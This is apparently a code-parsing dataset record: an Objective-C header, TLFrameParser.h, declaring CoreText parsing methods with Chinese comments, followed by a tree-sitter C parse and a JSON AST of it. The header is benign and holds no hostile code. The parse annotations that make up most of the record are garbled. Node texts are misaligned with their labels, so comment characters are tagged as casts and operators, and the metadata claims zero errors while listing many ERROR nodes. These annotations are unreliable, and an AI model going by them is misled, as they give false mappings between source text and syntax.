isVocRegenerated;\n/*!\n @abstract An NSArray of SKDataResults contains the data result table.\n */\n@property (nonatomic, retain) NSArray *dataResults;\n\n\n\n@end\n"}
81,153
c
// // TLFrameParser.h // TLAttributedLabel-Demo // // Created by andezhou on 15/7/7. // Copyright (c) 2015年 andezhou. All rights reserved. // // 用于生成最后绘制界面需要的CTFrameRef实例。 #import <Foundation/Foundation.h> #import "TLCoreTextData.h" #import "TLAttributedLabelLink.h" #import "TLAttributedLabelImage.h" #import "TLAttributeConfig.h" @interface TLFrameParser : NSObject /** * 生成带属性的字符串的attributes * * @param config 用于配置绘制的参数,例如:文字颜色,大小,行间距等。 * * @return 带属性的字符串的attribute */ + (NSMutableDictionary *)attributesWithConfig:(TLAttributeConfig *)config; /** * 通过传入需要展示的文字,来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度 * * @param content 需要展示的文字 * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。 * @param links 自定义link数组 * * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度 */ + (TLCoreTextData *)parseContent:(NSString *)content config:(TLAttributeConfig *)config; + (TLCoreTextData *)parseContent:(NSString *)content; + (TLCoreTextData *)parseContent:(NSString *)content config:(TLAttributeConfig *)config link:(NSArray *)links; + (TLCoreTextData *)parseContent:(NSString *)content link:(NSArray *)links; /** * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度 * * @param attributedString 带属性的字符串 * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。 * * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度 */ + (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedString *)attributedString config:(TLAttributeConfig *)config; + (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedString *)attributedString; /** * 通过沙盒地址, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度 * * @param path JSON文件路径 * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。 * * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度 */ + (TLCoreTextData *)parseTemplateFile:(NSString *)path config:(TLAttributeConfig *)config; + (TLCoreTextData *)parseTemplateFile:(NSString *)path; /** * 通过网络获取下来的数组(NSArray),来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度 * * @param data 从网络获取下来的数组,遍历数组后的字典(NSDictionary)包含颜色(color)、内容(content)和类型(type) * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。 * * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度 */ + (TLCoreTextData *)parseTemplateArray:(NSArray *)dataList config:(TLAttributeConfig *)config; + (TLCoreTextData *)parseTemplateArray:(NSArray *)dataList; @end
33.26
66
(translation_unit) "//\n// TLFrameParser.h\n// TLAttributedLabel-Demo\n//\n// Created by andezhou on 15/7/7.\n// Copyright (c) 2015年 andezhou. All rights reserved.\n//\n// 用于生成最后绘制界面需要的CTFrameRef实例。\n\n#import <Foundation/Foundation.h>\n#import "TLCoreTextData.h"\n#import "TLAttributedLabelLink.h"\n#import "TLAttributedLabelImage.h"\n#import "TLAttributeConfig.h"\n\n@interface TLFrameParser : NSObject\n\n/**\n * 生成带属性的字符串的attributes\n *\n * @param config 用于配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return 带属性的字符串的attribute\n */\n+ (NSMutableDictionary *)attributesWithConfig:(TLAttributeConfig *)config;\n\n/**\n * 通过传入需要展示的文字,来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param content 需要展示的文字\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n * @param links 自定义link数组\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseContent:(NSString *)content config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseContent:(NSString *)content;\n+ (TLCoreTextData *)parseContent:(NSString *)content config:(TLAttributeConfig *)config link:(NSArray *)links;\n+ (TLCoreTextData *)parseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedString 带属性的字符串\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedString *)attributedString config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedString *)attributedString;\n\n/**\n * 通过沙盒地址, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param path JSON文件路径\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n * 通过网络获取下来的数组(NSArray),来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param data 从网络获取下来的数组,遍历数组后的字典(NSDictionary)包含颜色(color)、内容(content)和类型(type)\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseTemplateArray:(NSArray *)dataList config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateArray:(NSArray *)dataList;\n\n@end\n\n" (comment) "//" (comment) "// TLFrameParser.h" (comment) "// TLAttributedLabel-Demo" (comment) "//" (comment) "// Created by andezhou on 15/7/7." (comment) "// Copyright (c) 2015年 andezhou. All rights reserved.\n/" (comment) "\n/" (comment) " 用于生成最后绘制界面需要的CTFrameRef实例。\n\n#import <Foundation/Foundation.h" (preproc_call) "#import "TLCoreTextData.h"\n#import" (preproc_directive) "#import" (preproc_arg) ""TLCoreTextData.h"\n#impor" (preproc_call) " "TLAttributedLabelLink.h"\n" (preproc_directive) " "TLAtt" (preproc_arg) "ibutedLabelLink.h"" (preproc_call) "#import "TLAttributedLabelImage.h"" (preproc_directive) "#import" (preproc_arg) ""TLAttributedLabelImage.h" (preproc_call) "\n#import "TLAttributeConfig.h"\n\n@in" (preproc_directive) "\n#impor" (preproc_arg) " "TLAttributeConfig.h"\n\n@i" (preproc_call) "terface TLFrameParser : NSObje" (preproc_directive) "terface" (preproc_arg) "TLFrameParser : NSObj" (ERROR) "t\n\n/**\n * 生成带属性的字符串的attributes\n *" (ERROR) "t" (type_identifier) "\n\n/**\n * " (identifier) " 生成带属性的字符串的at" (:) "r" (identifier) "butes\n *" (comment) "* @param config 用于配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return 带属性的字符串的attribute\n */\n+ (NSMutableDictionary *)attributesWithConfig:(TLAttributeConfig *)config;\n\n/**\n * 通过传入需要展示的文字,来获取CTFrameRef实例以及CTFrameR" (expression_statement) "f实际绘制需要的高度\n *\n * @param content 需要展示的文字\n * @param config 配置绘制的参数,例如:文字颜" (update_expression) "f实际绘制需要的高度\n *\n * @param content 需要展示的文字\n * @param config 配置绘制的参数,例如:文字" (binary_expression) "f实际绘制需要的高度\n *\n * @param content 需要展示的文字\n * @param config 配置绘制的参数,例如:文字" (unary_expression) "f实际绘制需要的高度\n *\n * @param content 需要展示的文字\n * " (+) "f" (cast_expression) "际绘制需要的高度\n *\n * @param content 需要展示的文字\n * " (() "际" (type_descriptor) "绘制需要的高度\n *\n * @param" (type_identifier) "绘制需要的高度\n *\n * @par" (abstract_pointer_declarator) "m" (*) "m" ()) " " (identifier) "content 需要展示的文字\n * " (ERROR) "@param config 配置绘制" (:) "@" (() "p" (identifier) "aram config 配置绘制" (*) "参" (ERROR) "数" ()) "数" (identifier) ",例如:文字" (--) "" (;) "颜" (comment) "大小,行间距等。\n * @param links 自定义link数组\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseContent:(NSString *)content config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseContent:(NSString *)content;\n+ (TLCoreTextData *)parseContent:(NSString *)content config:(TLAttributeConfig *)config link:(NSArray *)links;\n+ (TLCoreTextData *)p" (expression_statement) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedString 带属性的字符串\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedString" (update_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedString 带属性的字符串\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedStrin" (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedString 带属性的字符串\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedStrin" (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedString 带属性的字符串\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseAttributedContent:(NS" (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedString 带属性的字符串\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseA" (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedString 带属性的字符串\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要" (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedString 带属性的字符串\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameR" (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedString 带属性的字符串\n * @param config 配置绘制的参数,例如:文字" (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedString 带属性的字符串\n * @param config " (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param attributedSt" (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * " (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * 通过已配置好的带属性字符串, 来获取CTFram" (binary_expression) "rseContent:(NSString *)content link:(NSArray *)links" (unary_expression) "rseContent:(NSString *)content l" (+) "r" (cast_expression) "eContent:(NSString *)content l" (() "e" (type_descriptor) "Content:(NSStrin" (type_identifier) "Content:(NSStr" (abstract_pointer_declarator) "n" (*) "n" ()) "g" (identifier) " *)content l" (ERROR) "ink:(NSArr" (:) "i" (() "n" (identifier) "k:(NSArr" (*) "y" (ERROR) " " ()) " " (identifier) "*)links" (ERROR) "\n\n/**\n * 通过已配置好的带属性字符串, " (identifier) "\n\n/**\n" (:) " " (() "*" (identifier) " 通过已配置好的带属性字符串, " (*) "获" (ERROR) "取" ()) "取" (identifier) "CTFram" (ERROR) "e" (;) "e" (+) "e" (cast_expression) "实例以及CTFrameRef实际绘制需要的高度\n *\n * " (() "实" (type_descriptor) "例以及CTFrameRef实际绘" (type_identifier) "例以及CTFrameRef实" (abstract_pointer_declarator) "绘" (*) "绘" ()) "制" (identifier) "需要的高度\n *\n * " (ERROR) " @param at" (:) " " (() "@" (identifier) "param at" (*) "r" (ERROR) "i" ()) "i" (identifier) "butedSt" (ERROR) "r" (;) "r" (+) "n" (cast_expression) " 带属性的字符串\n * @param config " (() " " (type_descriptor) "带属性的字符串\n * @par" (type_identifier) "带属性的字符串\n * @p" (abstract_pointer_declarator) "r" (*) "r" ()) "a" (identifier) "m config " (ERROR) " 配置绘" (:) " " (() " " (identifier) " 配置绘" (*) "的" (ERROR) "参" ()) "参" (identifier) "数,例如:文字" (ERROR) "色,大小,行间距等。\n *\n * @return" (identifier) "色,大小,行" (:) "间" (() "距" (identifier) "等。\n *\n * @return" (*) "C" (ERROR) "T" ()) "T" (identifier) "FrameR" (ERROR) "f实例以及CTFrameR" (identifier) "f实例以" (:) "及" (() "C" (identifier) "TFrameR" (*) "f" (ERROR) "实" ()) "实" (identifier) "际绘制需要" (ERROR) "的" (;) "的" (+) "度" (cast_expression) " */\n+ (TLCoreTextData *)parseA" (() " " (type_descriptor) "*/\n+ (TLCoreText" (type_identifier) "*/\n+ (TLCoreTe" (abstract_pointer_declarator) "t" (*) "t" ()) "D" (identifier) "ata *)parseA" (ERROR) "ttributedC" (:) "t" (() "t" (identifier) "ributedC" (*) "n" (ERROR) "t" ()) "t" (identifier) "ent:(NS" (ERROR) "utableAttribu" (identifier) "utab" (:) "l" (() "e" (identifier) "Attribu" (*) "e" (ERROR) "d" ()) "d" (identifier) "Strin" (--) "" (;) "g" (comment) ")attributedString config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedString *)attributedString;\n\n/**\n * 通过沙盒地址, 来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param path JSON文件路径\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseTem" (expression_statement) "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n * 通过网络获取下来的数组(NSArray),来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param data 从网络获取下来的" (update_expression) "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n * 通过网络获取下来的数组(NSArray),来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param data 从网络获取下来" (binary_expression) "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n * 通过网络获取下来的数组(NSArray),来获取CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n *\n * @param data 从网络获取下来" (binary_expression) "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n * 通过网络获取下来的数组(NSArray),来获取CTFrameRef实例以及CT" (binary_expression) "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateFile:(NSString *)path;\n\n/**\n" (binary_expression) "lateFile:(NSString *)path config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseT" (unary_expression) "lateFile:(NSString *)path config:(TLAttrib" (+) "l" (cast_expression) "teFile:(NSString *)path config:(TLAttrib" (() "t" (type_descriptor) "eFile:(NSString " (type_identifier) "eFile:(NSStrin" (abstract_pointer_declarator) " " (*) " " ()) "*" (identifier) ")path config:(TLAttrib" (ERROR) "uteConfig *)config;\n+ (TLCo" (:) "u" (() "t" (identifier) "eConfig *)config;\n+ (TLCo" (*) "e" (ERROR) "T" ()) "T" (identifier) "extData *)parseT" (ERROR) "mplateFile:(NSString *)pa" (identifier) "mplate" (:) "F" (() "i" (identifier) "le:(NSString *)pa" (*) "h" (ERROR) ";" ()) ";" (identifier) "\n\n/**\n" (ERROR) " " (;) " " (+) " " (cast_expression) "通过网络获取下来的数组(NSArray),来获取CTFrameRef实例以及CT" (() "通" (type_descriptor) "过网络获取下来的数组(NSArr" (type_identifier) "过网络获取下来的数组(NSA" (abstract_pointer_declarator) "r" (*) "r" ()) "a" (identifier) "y),来获取CTFrameRef实例以及CT" (ERROR) "FrameRef实际绘制需要的高度\n *\n * @p" (:) "F" (() "r" (identifier) "ameRef实际绘制需要的高度\n *\n * @p" (*) "r" (ERROR) "a" ()) "a" (identifier) "m data 从网络获取下来" (--) "" (;) "的" (comment) ",遍历数组后的字典(NSDictionary)包含颜色(color)、内容(content)和类型(type)\n * @param config 配置绘制的参数,例如:文字颜色,大小,行间距等。\n *\n * @return CTFrameRef实例以及CTFrameRef实际绘制需要的高度\n */\n+ (TLCoreTextData *)parseTemplateArray:(NSArray *)dataList config:(TLAttributeConfig *)config;\n+ (TLCoreTextData *)parseTemplateArray:(NSArray *)dataList;" (expression_statement) "\n@end\n\n" (update_expression) "\n@end\n\n" (binary_expression) "\n@end\n\n" (binary_expression) "\n@end\n\n" (binary_expression) "\n@end\n\n" (binary_expression) "\n@end\n\n" (unary_expression) "\n@end\n\n" (+) "\n" (cast_expression) "end\n\n" (() "e" (type_descriptor) "nd\n\n" (type_identifier) "nd\n\n" (abstract_pointer_declarator) "" (*) "" ()) "" (identifier) "" (ERROR) "" (:) "" (() "" (identifier) "" (*) "" (ERROR) "" ()) "" (identifier) "" (identifier) "" (ERROR) "" (:) "" (() "" (identifier) "" (*) "" (ERROR) "" ()) "" (identifier) "" (ERROR) "" (;) "" (+) "" (cast_expression) "" (() "" (type_descriptor) "" (type_identifier) "" (abstract_pointer_declarator) "" (*) "" ()) "" (identifier) "" (ERROR) "" (:) "" (() "" (identifier) "" (*) "" (ERROR) "" ()) "" (identifier) "" (--) "" (;) "" (comment) "" (ERROR) "" (binary_expression) "" (binary_expression) "" (binary_expression) "" (binary_expression) "" (unary_expression) "" (+) "" (cast_expression) "" (() "" (type_descriptor) "" (type_identifier) "" (abstract_pointer_declarator) "" (*) "" ()) "" (identifier) "" (ERROR) "" (:) "" (() "" (identifier) "" (*) "" (ERROR) "" ()) "" (identifier) "" (ERROR) "" (identifier) "" (:) "" (() "" (identifier) "" (*) "" (ERROR) "" ()) "" (identifier) "" (ERROR) "" (;) "" (+) "" (cast_expression) "" (() "" (type_descriptor) "" (type_identifier) "" (abstract_pointer_declarator) "" (*) "" ()) "" (identifier) "" (ERROR) "" (:) "" (() "" (identifier) "" (*) "" (ERROR) "" ()) "" (identifier) "" (;) "" (ERROR) "" (identifier) ""
346
46
{"language": "c", "success": true, "metadata": {"lines": 66, "avg_line_length": 33.26, "nodes": 238, "errors": 0, "source_hash": "4a8055e30081f4fdcac81ad926bf52500b3e9a39a89db93d7bfdce0b0782f00b", "categorized_nodes": 117}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import \"TLCoreTextData.h\"\n#import", "parent": null, "children": [1, 2], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 10, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#import", "parent": 0, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "\"TLCoreTextData.h\"\n#impor", "parent": 0, "children": [], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 33}}, {"id": 3, "type": "preproc_call", "text": " \"TLAttributedLabelLink.h\"\n", "parent": null, "children": [4, 5], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 4, "type": "preproc_directive", "text": " \"TLAtt", "parent": 3, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 7}}, {"id": 5, "type": "preproc_arg", "text": "ibutedLabelLink.h\"", "parent": 3, "children": [], "start_point": {"row": 10, "column": 8}, "end_point": {"row": 10, "column": 26}}, {"id": 6, "type": "preproc_call", "text": "#import \"TLAttributedLabelImage.h\"", "parent": null, "children": [7, 8], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 12, "column": 0}}, {"id": 7, "type": "preproc_directive", "text": "#import", "parent": 6, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 7}}, {"id": 8, "type": "preproc_arg", "text": "\"TLAttributedLabelImage.h", "parent": 6, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 33}}, {"id": 9, "type": "preproc_call", "text": "\n#import \"TLAttributeConfig.h\"\n\n@in", "parent": null, "children": [10, 11], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 10, "type": "preproc_directive", "text": "\n#impor", "parent": 9, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 7}}, {"id": 11, "type": "preproc_arg", "text": " \"TLAttributeConfig.h\"\n\n@i", "parent": 9, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 34}}, {"id": 12, "type": "preproc_call", "text": "terface TLFrameParser : NSObje", "parent": null, "children": [13, 14], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 13, "type": "preproc_directive", "text": "terface", "parent": 12, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 7}}, {"id": 14, "type": "preproc_arg", "text": "TLFrameParser : NSObj", "parent": 12, "children": [], "start_point": {"row": 13, "column": 8}, "end_point": {"row": 13, "column": 29}}, {"id": 15, "type": "ERROR", "text": "t\n\n/**\n * \u751f\u6210\u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\u7684attributes\n *", "parent": null, "children": [16, 17, 18, 19], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 35}}, {"id": 16, "type": "ERROR", "text": "t", "parent": 15, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 1}}, {"id": 17, "type": "type_identifier", "text": "\n\n/**\n * ", "parent": 15, "children": [], "start_point": {"row": 15, "column": 1}, "end_point": {"row": 15, "column": 10}}, {"id": 18, "type": "identifier", "text": " \u751f\u6210\u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\u7684at", "parent": 15, "children": [], "start_point": {"row": 15, "column": 11}, "end_point": {"row": 15, "column": 24}}, {"id": 19, "type": "identifier", "text": "butes\n *", "parent": 15, "children": [], "start_point": {"row": 15, "column": 27}, "end_point": {"row": 15, "column": 35}}, {"id": 20, "type": "update_expression", "text": "f\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param content \u9700\u8981\u5c55\u793a\u7684\u6587\u5b57\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57", "parent": null, "children": [21, 35], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 73}}, {"id": 21, "type": "binary_expression", "text": "f\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param content \u9700\u8981\u5c55\u793a\u7684\u6587\u5b57\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57", "parent": 20, "children": [22, 30, 32, 33, 34], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 73}}, {"id": 22, "type": "unary_expression", "text": "f\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param content \u9700\u8981\u5c55\u793a\u7684\u6587\u5b57\n * ", "parent": 21, "children": [23, 24], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 45}}, {"id": 23, "type": "+", "text": "f", "parent": 22, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 1}}, {"id": 24, "type": "cast_expression", "text": "\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param content \u9700\u8981\u5c55\u793a\u7684\u6587\u5b57\n * ", "parent": 22, "children": [25, 29], "start_point": {"row": 24, "column": 2}, "end_point": {"row": 24, "column": 45}}, {"id": 25, "type": "type_descriptor", "text": "\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param", "parent": 24, "children": [26, 27], "start_point": {"row": 24, "column": 3}, "end_point": {"row": 24, "column": 24}}, {"id": 26, "type": "type_identifier", "text": "\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @par", "parent": 25, "children": [], "start_point": {"row": 24, "column": 3}, "end_point": {"row": 24, "column": 22}}, {"id": 27, "type": "abstract_pointer_declarator", "text": "m", "parent": 25, "children": [28], "start_point": {"row": 24, "column": 23}, "end_point": {"row": 24, "column": 24}}, {"id": 28, "type": "*", "text": "m", "parent": 27, "children": [], "start_point": {"row": 24, "column": 23}, "end_point": {"row": 24, "column": 24}}, {"id": 29, "type": "identifier", "text": "content \u9700\u8981\u5c55\u793a\u7684\u6587\u5b57\n * ", "parent": 24, "children": [], "start_point": {"row": 24, "column": 25}, "end_point": {"row": 24, "column": 45}}, {"id": 30, "type": "ERROR", "text": "@param config \u914d\u7f6e\u7ed8\u5236", "parent": 21, "children": [31], "start_point": {"row": 24, "column": 45}, "end_point": {"row": 24, "column": 64}}, {"id": 31, "type": "identifier", "text": "aram config \u914d\u7f6e\u7ed8\u5236", "parent": 30, "children": [], "start_point": {"row": 24, "column": 47}, "end_point": {"row": 24, "column": 64}}, {"id": 32, "type": "*", "text": "\u53c2", "parent": 21, "children": [], "start_point": {"row": 24, "column": 65}, "end_point": {"row": 24, "column": 66}}, {"id": 33, "type": "ERROR", "text": "\u6570", "parent": 21, "children": [], "start_point": {"row": 24, "column": 66}, "end_point": {"row": 24, "column": 67}}, {"id": 34, "type": "identifier", "text": "\uff0c\u4f8b\u5982\uff1a\u6587\u5b57", "parent": 21, "children": [], "start_point": {"row": 24, "column": 67}, "end_point": {"row": 24, "column": 73}}, {"id": 35, "type": "--", "text": "", "parent": 20, "children": [], "start_point": {"row": 24, "column": 73}, "end_point": {"row": 24, "column": 73}}, {"id": 36, "type": "update_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param attributedString \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n */\n+ (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedStrin", "parent": null, "children": [37, 124], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 38, "column": 74}}, {"id": 37, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c \u6765\u83b7\u53d6CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n *\n * @param attributedString \u5e26\u5c5e\u6027\u7684\u5b57\u7b26\u4e32\n * @param config \u914d\u7f6e\u7ed8\u5236\u7684\u53c2\u6570\uff0c\u4f8b\u5982\uff1a\u6587\u5b57\u989c\u8272\uff0c\u5927\u5c0f\uff0c\u884c\u95f4\u8ddd\u7b49\u3002\n *\n * @return CTFrameRef\u5b9e\u4f8b\u4ee5\u53caCTFrameRef\u5b9e\u9645\u7ed8\u5236\u9700\u8981\u7684\u9ad8\u5ea6\n */\n+ (TLCoreTextData *)parseAttributedContent:(NSMutableAttributedStrin", "parent": 36, "children": [38, 118, 121, 122, 123], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 38, "column": 74}}, {"id": 38, "type": "binary_expression", "text": "rseContent:(NSString *)content link:(NSArray *)links;\n\n/**\n * \u901a\u8fc7\u5df2\u914d\u7f6e\u597d\u7684\u5e26\u5c5e\u6027\u5b57\u7b26\u4e32\uff0c 